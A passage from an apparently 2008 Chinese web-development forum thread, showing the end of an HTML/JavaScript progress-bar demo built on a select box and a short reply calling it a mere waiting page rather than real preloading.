<form name="form1" method="post" action="" >
  <select name="select" onchange="speedBar('bar',this.value)">
	<option value="0" checked>-请选择-</option>
	<script language="JavaScript" type="text/JavaScript">
	for(var i=1;i<101;i++)
	{
	if(i<10)
	document.write("<option value="+i+">0"+i+"</option>");
	else
	document.write("<option value="+i+">"+i+"</option>");
	}
	</script>
  </select>
</form>
</body>
</html>

提示：您可以先修改部分代码再运行

[ 本帖最后由 wdl1911 于 2008-1-29 15:14 编辑 ]

我~~

TOP

hayden

初级会员

帖子: 73
体力: 88
威望: 2
当前: 北京海淀区
离线: 4 天

专长 前端制作,JS,ASP

30^# 大中小发表于 2008-1-30 14:00

感觉没实际意义
只是一个让用户等待的页面，并非真正的预先载入～

http://www.mysuc.com

TOP